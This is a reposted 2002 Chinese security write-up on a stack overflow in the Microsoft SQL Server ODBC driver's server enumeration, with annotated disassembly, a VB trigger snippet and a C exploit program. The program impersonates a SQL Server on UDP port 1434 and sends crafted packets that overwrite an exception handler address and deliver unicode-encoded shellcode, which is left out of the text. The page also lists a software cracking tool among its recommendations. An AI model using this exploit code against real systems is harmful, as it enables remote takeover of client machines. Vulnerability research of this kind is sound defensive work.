【实战】MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

视频监控设备(NVR、IPC等)如何通过国标GB28181接入到视频监控平台,以及接入过程如何测试视频接入是否成功 GB/T28181标准广泛的应用,视频监控设备通过国标GB28181接入视频监控平台的过程变成程序化、标准化的互联过程,确保了视频监控设备能够在不同系统、不同网络环境下实现远程、跨区域、跨级别的访问和控制。版本有GB28181-2011、2016、2022几个常用版本,威迪斯特的视频监控平台完全支持GB28181的这几个版本,能够实现不同品牌视频监控设备的国标视频接入(国标视频监控接入),或者为国标28181视频接入(国标28181视频监控接入),也为国标281818接入(国标GB/T28181接入。 阅读详情

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞


创建时间:2002-09-23
文章属性:原创
文章来源: http://www.xfocus.net
文章提交: flashsky (flashsky1_at_sina.com)

转摘请注明作者和安全焦点
作者:FLASHSKY
SITE: WWW.XFOCUS.NET
邮件:flashsky@xfocus.org

    MS的SQL SERVER ODBC驱动中存在一个溢出漏洞,攻击者可以通过这个漏洞,发送精心组织的数据包就可以达到远程控制任何通过SQL SERVER ODBC列举SQL SERVER服务器的主机。于是看了一下SQL SERVER客户端的两个主要程序的汇编:SQLSVR32。DLL和DBNETLIB。DLL。发现存在一个堆溢出。以下主要是对中文W2K SERVER+SP3的自带的ODBC驱动进行的研究,其他平台未测试。英文版的ODBC连接好象不出这个问题。
    SQL SERVER ODBC收到包以后会把所有接收到的包转换成unicode格式存放到堆中,而且每个包之间采用";;"作为分界符号。
我们来看一下其处理的汇编代码:
.text:74CB72A1 loc_74CB72A1:                      
.text:74CB72A1                 mov     edx, [ebp+var_4]    
.text:74CB72A4                 mov     eax, [ebp+var_104C]  ebp-0x104c放当前已循环的个数
.text:74CB72AA                 cmp     eax, [edx+8]         edx+8存放收到的总包个数
.text:74CB72AD                 jge     loc_74CB70F2
.text:74CB72B3                 mov     ecx, [ebp+var_1044]  
.text:74CB72B9                 mov     edx, [ecx+4]
.text:74CB72BC                 mov     eax, [ebp+var_1048]
.text:74CB72C2                 lea     ecx, [eax+edx*2]
.text:74CB72C5                 mov     edx, [ebp+arg_8]
.text:74CB72C8                 cmp     ecx, [edx]
.text:74CB72CA                 jle     short loc_74CB72D3
.text:74CB72CC                 xor     eax, eax
.text:74CB72CE                 jmp     loc_74CB6EB7
.text:74CB72D3 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:74CB72D3
.text:74CB72D3 loc_74CB72D3:                           ; CODE XREF: GetNextEnumeration+455j
.text:74CB72D3                 mov     eax, [ebp+var_1044]
.text:74CB72D9                 mov     ecx, [eax+4]              
.text:74CB72DC                 push    ecx             ; cchWideChar  
.text:74CB72DD                 mov     edx, [ebp+arg_4]            ebp+arg_4是传入的堆开始地址
.text:74CB72E0                 add     edx, [ebp+var_1048]         ebp+var_1048是计算使用了多少的堆,初始值为0
.text:74CB72E6                 push    edx             ; lpWideCharStr  
.text:74CB72E7                 mov     eax, [ebp+var_1044]         ebp+var_1044开始是收到包的结构类型数组的指针,这个数组前面4个字节每个包的缓冲地址指针,后面是包的大小,其C的定义如
             typedef struct _PACKBUF{
        char * bufpoint;
        long buflen;}PACKBUF,*PPACKBUF;
             PACKBUF sqludprecv[];
       ebp+var_1044 就是一个 *PPACKBUF=&sqludprecv;      
.text:74CB72ED                 mov     ecx, [eax+4]                 eax存放为包大小数据
.text:74CB72F0                 push    ecx             ; cchMultiByte
.text:74CB72F1                 mov     edx, [ebp+var_1044]          
.text:74CB72F7                 mov     eax, [edx]                   载入缓冲地址指针
.text:74CB72F9                 add     eax, 3          从包的便移3开始拷贝,前面三个字节为一个字节包类型,2个字节包长度信息
.text:74CB72FC                 push    eax             ; lpMultiByteStr
.text:74CB72FD                 push    0               ; dwFlags
.text:74CB72FF                 push    0               ; CodePage
.text:74CB7301                 call    ds:MultiByteToWideChar
.text:74CB7307                 mov     ecx, [ebp+var_1044]    
.text:74CB730D                 mov     edx, [ecx+4]
.text:74CB7310                 mov     eax, [ebp+var_1048]
.text:74CB7316                 lea     ecx, [eax+edx*2]    ecx=包大小乘以2(因为变成双字节了)
.text:74CB7319                 mov     [ebp+var_1048], ecx OK!这个就是结合上面.text:74CB72E0处移动对应堆指针的地方
.text:74CB731F                 mov     edx, [ebp+var_104C]  
.text:74CB7325                 add     edx, 1
.text:74CB7328                 mov     [ebp+var_104C], edx   循环数字加1
.text:74CB732E                 mov     eax, [ebp+var_1044]  
.text:74CB7334                 mov     ecx, [eax+8]
.text:74CB7337                 mov     [ebp+var_1044], ecx  移动到下一个数组的位置: ebp+var_1044=ebp+var_1044+8;
.text:74CB733D                 jmp     loc_74CB72A1
.text:74CB733D GetNextEnumeration endp

然后在下面的代码产生堆栈溢出:在sqlsvr32.dll中,主要作用是对包数据进行分析的。
.text:411B06A5                 mov     edx, [esp+10h]
.text:411B06A9                 mov     ecx, 0FAh
.text:411B06AE                 xor     eax, eax
.text:411B06B0                 lea     edi, [esp+10h+arg_1C]
.text:411B06B4                 repe stosd
.text:411B06B6                 lea     ecx, [edx+edx]
.text:411B06B9                 mov     esi, ebp
.text:411B06BB                 mov     eax, ecx
.text:411B06BD                 lea     edi, [esp+10h+arg_1C]
.text:411B06C1                 shr     ecx, 2
.text:411B06C4                 repe movsd
这段代码把原来的堆中的数据到拷贝到堆栈,但是其划分的依据是一个";"作为分界符号,而这个分配的空间是有限的,在01740(6000)给字节的地方会覆盖返回地址。如果你发送几个包,只要在堆中位置连续且不存在";"和0x00,0x00,且大于6000(因为UNICODE处理以后会加倍)则会导致溢出。可以用如下VB代码验证溢出的产生

Dim str As String
Dim str1
Dim i
Winsock1.GetData str
str1 = "" & Chr(5) & Chr(&HFF) & Chr(&H9) ‘最动只能0x1000大小的包
str1 = str1 & str(4092,"2")
For i = 1 To 200
Winsock1.SendData str1
Next
    然后你在另一台局域网的某台机器上的管理工具中打开ODBC管理程序,选择一个SQL SERVER的系统DSN,然后在列出下拉SQL SERVER服务器的时候就会引发这个溢出,由于这个传来的代码没有含有特殊的字串,因此程序只会异常退出,其实跟踪一下程序会发现不仅仅引发了异常,而且足够多的数据还可以覆盖异常结构中的异常处理地址,导致最后程序的执行点跳转到0x32003200上(因为传过去溢出字串是'2',asc代码是0x32,而经过MultiByteToWideChar处理以后,被覆盖掉的异常处理程序地址就成了0x32003200了),如果能精心构造传过去的字符内容,就可以达到远程控制主机的目的。

利用这个溢出需要考虑如下问题:
1。地址覆盖,因为是要被unicode处理,覆盖的地址要满足转化条件
2。SHELLCODE需要是满足unicode的
3。由于要覆盖和得到UNICODE SHELL需要有大量数据发送,但包接收只接受0x1000的字节,所以需要多包发送,但是由于前面贴出的且堆处理格式,只以包乘2算位置,如果前面的包转换成unicode不是完全满足,包的中间要存在多个0x00,如果存在0x00,0x00这无法被连续拷贝。所以前面的包一定要是ASC的包,这也限制的要覆盖地址的类型的选择。
4。要防备其他 sql server服务器也发包,如果在中间会导致截断。

问题一通过跟踪发现,其堆栈位置大致是在0x6a000左右,因此可以设置地址0x00070007为覆盖的地址,我在多种情况下测试基本是可行的。问题二是利用isno的编码unicode的方法,在程序开始的时候再解码成正式代码。我用的就是isno写的一个unicode shellcode,跟踪发现程序运行很好,可以有效饶过unicode,不过shellcode中的饶过异常处理还是存在问题,我溢出产生,正确跳转和解码以后,执行到后面还是被异常捕获了。这个shellcode可能还是需要改进。问题三是前面全部发送asc的代码,只在最后一个包发送可解码的shellcode。问题四则是前面发正常包,并适当延时来解决。

下面由于shellcode是isno写的,这里就不列出了:另外望高手指点几个问题:
1。由于前面说的原因的限制,覆盖地址只能选择硬编码,有没有更好的方案,特别是覆盖地址是必须满足传过去的代码经过MultiByteToWideChar处理以后扩展成2倍,否则会导致堆中出现0x00而截断后面的shellcode。
2。现在的shellcode还是不能很好的捕获异常,关于这方面我的了解有限,有没有更多关于异常在程序运行时的结构的资料。


#include <winsock2.h>
#include <windows.h>

void main()
{
    unsigned char buffer[4096];
    unsigned char bufhead[3]={5,0xfc,0xf};
    unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;////11111111//pipe//sql//query;;";  //用于伪装正常包,进行延时,最后在发送溢出包,使不被其他的包导致再堆中的中断。
    unsigned char buf2 [4092];
    unsigned char buf3 [4092];
    unsigned char sendbuf [0x1000];
    unsigned  char temp;
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    HANDLE listener;
    int e;
    int i;
    int sendlen;
    DWORD a1;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    struct sockaddr_in udpfrom;
    int udpfromlen = sizeof(udpfrom);
    int n ;
    unsigned char shellend[4] = {0x4e,0x4e,0,0}; //用于标记shellcode结束的
    unsigned char shellcode1[]= //略去,是isno写的
    unsigned char shellcodehead[70]= //略去,是isno写的,用于解码shellcode用
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf(/"WSAStartup error.Error:%d//n/",WSAGetLastError());
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf(/"Socket failed.Error:%d//n/",WSAGetLastError());
        return FALSE;
    }

    sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL); //把解码的代码转化,这样在对方的MultiByteToWideChar处理下,正好获得我们想要的解码代码
    sendlen--;
    memcpy(sendbuf+sendlen,shellcode1,sizeof(shellcode1));
    sendlen = sendlen+sizeof(shellcode1); //加上一段被编码的unicode。
    sendlen--;
    i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
    sendlen = sendlen +i-1;
//以上构造了一个完整的可自我解码的shellcode

    memset(buf3,0x4,4092);
//由于分多包发送,前面的必须只能是128以下的字符,其考虑加零情况的汇编
这个缓冲是等同于NOP操作的,被unicode编码以后的汇编是:add ax,0
    
    memset(buf2,7,4092);    
//设置溢出地址覆盖的缓冲
    buf2[3000]=8;
//覆盖地址成为    0x070008,由于是asc码,被MultiByteToWideChar处理以后长度正好是6000,覆盖返回地址

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);      
    addr_in.sin_addr.S_un.S_addr=inet_addr(/"192.168.0.60/");
    n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
//监听1434 UDP端口
    if(n!=0)
    {
         e= WSAGetLastError();
         return -1;
    }
//有人在使用
    n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);    
    *((WORD *)(bufhead+1))=sizeof(buf1)-1;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断    
    for(i=0;i<4;i++)
    {
        n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
        Sleep(100);
    }
//以上发送4个正常的包,并进行延时,保证其他的SQL SERVER已经回复完,自己下面发的包不被其他的包截断

    *((WORD *)(bufhead+1))=4092;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf2,4092);//发送地址覆盖的包
    n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);

    *((WORD *)(bufhead+1))=4092;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf3,4092);//发送空指令包,保证其最终可以跳转到有效地址上来。
    for(i=0;i<2;i++)
        n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);

    //写入SHELLCODE
    *((WORD *)(bufhead+1))=sendlen;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,sendbuf,sendlen);    
    n = sendto(sock, buffer, sendlen+3, 0,(struct sockaddr *)&udpfrom, &udpfromlen);    
    WSACleanup();
    return 0;
}
【电源专题】Type-C母座外壳直接接主板GND还是接RC呢?别再纠结了! Type-C屏蔽壳接地这件事,没有唯一标准答案。符合规范、贴合产品、能过认证,就是最优解。希望这篇文章能帮你理清思路。 阅读详情

相关推荐

别急着让AI画板!聊聊Cadence Allegro X AI和OrCAD X在实际PCB项目中的真实体验

本文分享了Cadence Allegro X AI与OrCAD X在PCB设计中的实际应用体验,探讨了AI辅助Layout的效率提升与潜在陷阱。通过高速ADC采集板案例,详细对比了AI与传统方法在电源平面分割、低速信号布线等任务中的表现,并总结了人机协作的最佳实践,为工程师提供实用参考。

weixin_30836759的博客 2225

Microsoft SQL Server 堆栈溢出漏洞加固

Microsoft SQL Server 堆栈溢出漏洞官网https://technet.microsoft.com/zh-cn/library/security/ms14-085.aspx下载对应SQLServer2008R2-KB2977320-x64补丁 转载于:https://blog.51cto.com/mvp2008/1874383...

weixin_33772645的博客 807

VisionMaster 4.2.0安装

按照顺序安装。

XuXing_java的专栏 3805

Microsoft SQL Server 缓冲区错误漏洞(CVE-2018-8273)解决方法

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8273。点击链接后进入到该页面,下拉到最下方,安全更新位置。(之前找上面是没有对应的内容的,打开页面都是404)在一次漏洞扫描中,扫描出紧急漏洞。点击箭头链接到该页面,下拉找到下载程序包的位置。再次点击点头位置,就可以看到下载补丁内容了。根据漏洞修复建议去下载补丁。根据修复建议找补丁。

y995zq的博客 1773

基于深度学习的时间序列预测

深度学习在时间序列数据中应用广泛,学术界已经有很多深度学习模型来适应不同领域的时间序列数据集的多样性。那么到底有哪些基于深度学习的时间序列预测模型?他们的优缺点是什么?让我们一起来看一下。

Sharon0408的博客 6582

基于Simscape的双PID比例调速阀与比例溢流阀液压控制系统建模与仿真

本文提出了一种基于Simscape的双PID液压控制系统建模方法,通过比例调速阀和比例溢流阀实现液压缸速度与压力的解耦控制。系统采用Simscape Fluids物理建模,精确模拟液压元件非线性特性。文章详细介绍了液压被控对象建模过程,包括动力单元、比例阀组合建模、执行机构及传感器配置。同时设计了双PID控制器架构,分别控制速度环和压力环,并给出参数整定建议。该方法通过物理网络直接模拟流体流动和压力动态,相比传统传递函数法具有更高精度,为液压系统仿真提供了有效解决方案。

AI的内部世界的博客 284

数据库:sql server 2019 数据类型

(数据类型 (Transact-SQL) - SQL Server | Microsoft Docs) *** 精确数字 bigint numeric bit smallint decimal smallmoney int tinyint money ********* 近似数字 float real ***** 日期和时间 date datetimeoffset datetime2 smalldatetime datetime time *******...

wenluderen的专栏 1608

SAP Fiori 会话超时全解析:从 Launchpad 到 Identity Authentication 的统一策略

SAP Fiori会话超时机制解析与配置策略 本文深入探讨SAP Fiori项目中的会话超时机制,分析其对系统安全和用户体验的双重影响。文章系统拆解了SAP Fiori Launchpad与SAP Cloud Identity Services之间的会话超时工作原理,重点介绍了两种超时机制:服务器驱动的超时(通过SESSION_TIMEOUT_STOP_DATA_REFRESH参数控制)和UI驱动的超时(通过SESSION_TIMEOUT_INTERVAL_IN_MINUTES参数控制)。文中结合制造业产线

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 213

MySQL基本语法(一):和SQL Server语法的差异小归纳

因为一早就接触过SQL Server,所以对sql server的语法比较熟悉,后来转学mysql,还有些不适应,所以大致总结了一些mysql和sql server语法不同的地方,其中借鉴了些此文中的内容。 因为本文是SQL server和mysql语法差异性的总结,所以内容比较杂,没什么逻辑也不详细,还请见谅。在后面的文章中将只说明MySQL的语法。 1. 和SQL server语法主要...

weixin_34072458的博客 1238

华为OD机试 - 音乐小说内容重复识别 - 并查集(Java 双机位C卷 200分)

华为OD机试 双机位C卷题库疯狂收录中,刷题。

学Java,找哪吒 159

内存泄漏系列专题分析之二十三:meminfo无法统计到的黑洞内存泄漏分析

内存泄漏系列专题分析之二十三:meminfo无法统计到的黑洞内存泄漏分析

685

四、SQL函数④(其他函数)

类型转换 隐式转换:数据库系统自动将字符串类型转换为整数类型显式转换:使用类型转换函数转换。使用类型转换函数不仅可以保证类型转换的正确性,而且可以提高数据处理的速度,因此应该使用显式转换,尽量避免使用隐式转换。 MYSQL MYSQL中提供了CAST()函数和CONVERT()函数用于进行类型转换,CAST()是符合ANSI SQL99的函数,CONVERT() 是符合ODBC标准的函数,这两个函...

测试小白升级记 323

OData 请求里的 Nextlink 实战:在 ABAP Client Proxy 中优雅处理长列表分页

本文介绍了OData v4标准中的@odata.nextLink分页机制及其在SAP ABAP中的实践应用。重点解析了该机制通过服务端提供的完整URL实现分页获取,客户端只需循环处理直到该字段消失的特点。文章提供了清晰的ABAP代码模板,展示如何通过Remote Client Proxy实现分页数据获取,并强调了仅支持OData v4和远程消费的限制条件。通过HR员工数据聚合的实际案例,说明了流式分页处理的最佳实践,包括服务端过滤、稳定排序和内存控制等关键技术要点,为ABAP开发者提供了可直接落地的解决方案

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 273

MS SQL SERVER ODBC驱动SQL服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVER ODBC驱动中存在一个溢出漏洞,攻击者可

797

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞

MS SQL SERVER ODBC驱动SQL 服务器列举堆栈溢出漏洞创建时间:2002-09-23文章属性:原创文章来源:http://www.xfocus.net文章提交:flashsky (flashsky1_at_sina.com)转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET邮件:flashsky@xfocus.org    MS的SQL SERVE

1090

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Microsoft SQL Server sqlvdir.dll ActiveX控件缓冲区溢出漏洞

受影响系统: Microsoft SQL Server 2000 SP4 Microsoft SQL Server 2000 SP3a Microsoft SQL Server 2000 SP3 Microsoft SQL Server 2000 SP2 Microsoft SQL Server 2000 SP1 Microsoft SQL Server 2000描述: BUGT...

weixin_30836759的博客 629

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Windows应急响应和系统加固(12)——SQL Server/MySQL/Oracle日志提取和安全分析

MS SQL Server/MySQL/Oracle日志提取和安全分析 一、MS SQL Server日志分析:   1.MS SQL Server数据库简介:     Microsoft SQL Server,是微软推出的关系型数据库解决方案(Relational Database Management System:RDBMS),使用方便,可伸缩性好,且与相关软件集成程度高等优点,因而被广泛使用。     Microsoft SQL Server的特点:图形化操作、管理,上手容易,维护效率高,...

marcushbs的博客 812

Mysql和SQL SERVER处理字符串和整数比较的差异

我司切换数据库,从mssql切换到mysql,期间部分sql取不到数,经过排查,发现是由于msql中‘01’=1是1,也就是相等;而mysql中’01’=1是0,也就是不等。这就照成很多表关联出错,同时排序也有问题。将其转换成整数后问题解决。

老杨的后花园 177

Sql Server基础学习笔记

本文深入探讨了SQL Server的基础知识,为初学者和寻求深化理解的中级用户提供了全面的指导。首先,我们介绍了SQL Server的基本概念,包括其作为关系型数据库管理系统的核心功能,以及它在企业数据管理中的重要地位。接着,我们详细解释了SQL语言的基础知识,包括数据查询、插入、更新和删除等基本操作,同时辅以实例帮助读者更好地理解。

博客虽小,世界尽在其中 3098

SQL,何必在忆之一(基础篇)

还记得那是在2018年的十月的某个日子,虽早已入秋,但夏日的炎热却丝毫不减退散。那时的我正捧着一本SQL Server程序设计的白蓝皮书与九栋315的狗子们,匆匆的走向j1-402进行了我们人生中第一次SQL数据库的学习,时光总是戏人,现实总是玩笑。当初的几个伙伴都走向了各行各业,而唯有我编程课,问啥啥不会,写啥啥就废的我进入了IT行业。说来实在嘲讽,缅怀那些我错过的编程课,致那些年说过无数次“让我学SQL,根本不可能”,我承认我打脸了。正如此章的title一般,“SQL语句, 何必在忆?” 很久之前就学了

wzp7081的博客 318

数据库开发经典总结

收藏一个很经典的数据库开发的总结,转自:http://www.cnblogs.com/yubinfeng/archive/2010/11/02/1867386.html 一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --...

aqns80581的博客 377

SQL编程--类型属性unsigned

1. 数据类型选择的重要性 数据类型在数据库中扮演着基础但很重要的角色,对数据类型的选择会影响与数据库交互的应用程序的性能,如果在数据库建表时选择了错误的类型,在后期维护中成本可能非常大,用户需要花大量时间来进行alter table操作。因此花一些时间学习一下这些基础,理解他们的基本原理是十分必要的。 选择数据类型要格外谨慎,因为在生产环境下更改数据类型可能是一项非常危险的操作。2. un

顽石的专栏 1万+

MSF---MSSQL漏洞发现

msf关于mssql的漏洞发现

weixin_46297209的博客 1690

xp_cmdshell---MSSQL系统漏洞

xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,   并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。    一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成   任何影响。    可以将xp_cmdshell消除:    Use Master    Exec sp_dropexte

WWWTYB的专栏 1805

CVE-2010-3333:Microsoft RTF 栈溢出漏洞调试分析

0x01 前言 cve-2010-3333 漏洞是一个栈溢出漏洞,该漏洞是由于 Microsoft文档在处理 RTF 数据的对数据解析处理错误,在进行内存操作时没有对操作的数据进行长度限制,导致存在内存漏洞 环境 windows XP sp3(关闭了 ASLR) 分析工具 windbg 样本 能触发漏洞产生异常的 POC 目的 通过栈回溯的方式找到漏洞溢出点,分析漏洞成因 0x02 通过 me...

CuiXY's Blog 1095

【实战】SQL SERVER ODBC堆栈溢出攻击的实现。

SQL SERVER ODBC堆栈溢出攻击的实现。创建时间:2002-09-28文章属性:原创文章提交:flashsky (flashsky1_at_sina.com)关于ODBC溢出终于找到了解决之道。由于原来一心只想把UNICODE代码拷贝过来,由于诸多原因,会导致大量覆盖地址,结果造成一些系统数据的被覆盖,而无法达到执行代码目的,后来我想,是否可以只仅仅覆盖到返回地址,由返回地址执向我们其他

FreeXploiT 1453
上一篇: 【实战】SQL SERVER ODBC堆栈溢出攻击的实现。
下一篇: 【实战】通过Qpopper2.53远程获得shell
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值